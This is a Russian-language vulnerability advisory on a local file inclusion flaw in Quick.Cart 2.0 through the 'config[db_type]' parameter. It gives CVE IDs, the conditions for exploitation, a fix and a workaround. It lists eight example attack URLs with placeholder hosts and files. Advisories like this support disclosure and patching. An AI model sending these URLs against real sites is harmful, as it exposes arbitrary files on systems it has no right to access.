Инклюдинг локальных файлов в Quick.Cart

Дата публикации:
07.12.2006
Дата изменения:
08.04.2009
Всего просмотров:
1557
Опасность:
Средняя
Наличие исправления:
Да
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
CVE-2006-6390
CVE-2006-6391
CVE-2007-1407
Вектор эксплуатации:
Удаленная
Воздействие:
Раскрытие важных данных
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Quick.Cart 2.x
Уязвимые версии: Quick.Cart 2.0, возможно более ранние версии.

Описание:
Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "config[db_type]" в различных сценариях. Удаленный пользователь может с помощью специально сформированного URL просмотреть содержимое произвольных файлов на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена и опция "magic_quotes_gpc" отключена. Пример:

http://[host]/actions_admin/categories.php?config[db_type]=[file]
http://[host]/actions_admin/couriers.php?config[db_type]=[file]
http://[host]/actions_admin/orders.php?config[db_type]=[file]
http://[host]/actions_admin/other.php?config[db_type]=[file]
http://[host]/actions_admin/product.php?config[db_type]=[file]
http://[host]/actions_client/gallery.php?config[db_type]=[file]
http://[host]/actions_client/orders.php?config[db_type]=[file]
http://[host]/actions_client/products.php?config[db_type]=[file]

URL производителя: opensolution.org/?p=Quick.Cart

Решение: Установите последнюю версию с сайта производителя. В качестве временного решения рекомендуется отключить опцию "register_globals" в конфигурационном файле PHP.

Журнал изменений:
08.04.2009
Изменена секция "Решение"